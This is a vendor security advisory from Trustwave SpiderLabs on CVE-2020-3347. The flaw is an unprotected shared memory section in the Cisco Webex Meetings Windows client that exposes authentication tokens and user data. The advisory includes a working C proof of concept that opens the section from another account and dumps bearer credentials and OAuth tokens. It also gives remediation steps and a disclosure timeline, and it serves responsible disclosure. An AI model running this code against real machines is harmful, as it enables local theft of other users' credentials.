Trustwave SpiderLabs Security Advisory TWSL2020-003:
Memory information leakage vulnerability in Cisco Webex Meetings Windows Client

Published: 02/07/2020
Version: 2.0

Vendor:  Cisco (www.cisco.com)
Product: Webex Meetings Windows Client
Versions affected: 40.2.16.14 on Windows

Product description:
Video Conferencing and online meeting software.

Finding 1: Memory information leakage vulnerability
Credit: Martin Rakhmanov of Trustwave
CVE: CVE-2020-3347

On Windows, a shared memory object (section) is used to communicate trace
information between WebEx processes.  By default no permissions have been
assigned for this object. This means any local user can read sensitive
information from that memory region, including but not limited to:

Authentication tokens
Username
Meeting information

/*
Compile and run from another account than the one running the WebEx Client.
Output should contain multiple sensitive pieces of information like:

SiteName
UserName
DisplayName
Credential (Bearer)
TokenForOAuthSwap

and many others

*/

#include <windows.h>
#include <stdio.h>

#define SECTION_NAME_FMT "Session\\%d\\WBXTRA_TRACE_FILE_EX"
#define BUF_SIZE 8192*1024*10

int main(int argc, char * argv[])
{
	HANDLE hMapFile;
	char * pBuf;
	char section_name[1024];

	for (int i = 0; i < 10; i++)
	{
		sprintf(section_name, SECTION_NAME_FMT, i);

		printf("Trying to open WebEx section: %s\n", section_name);

		hMapFile = OpenFileMapping(FILE_MAP_READ, FALSE, section_name);

		if (hMapFile == NULL)
		{
			printf("Could not open file mapping object (%d).\n", GetLastError());
		}
		else
		{
			break;
		}

	}
	if (hMapFile == NULL)
	{
		printf("All sessions enumerated - quitting.\n");
		return 1;
	}

	pBuf = (char *)MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, BUF_SIZE);

	if (pBuf == NULL)
	{
		printf("Could not map view of file (%d).\n", GetLastError());

		CloseHandle(hMapFile);

		return 1;
	}

	for (int i = 0; i < BUF_SIZE; i++)
	{
		printf("%c", pBuf[i]);
	}

	UnmapViewOfFile(pBuf);

	CloseHandle(hMapFile);
	return 0;
}

Remediation Steps:
Download and upgrade to the latest stable version of Cisco Webex Meetings
Windows Client or at least version 40.6.0. Older releases will obtain a fix at a
later date.

Revision History:
23/04/2020 - Vulnerability disclosed to vendor
17/06/2020 - Patch released by vendor
17/06/2020 - Advisory published
02/07/2020 - Updated with PoC Code

References
1. https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-client-NBmqM9vt

About Trustwave:
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incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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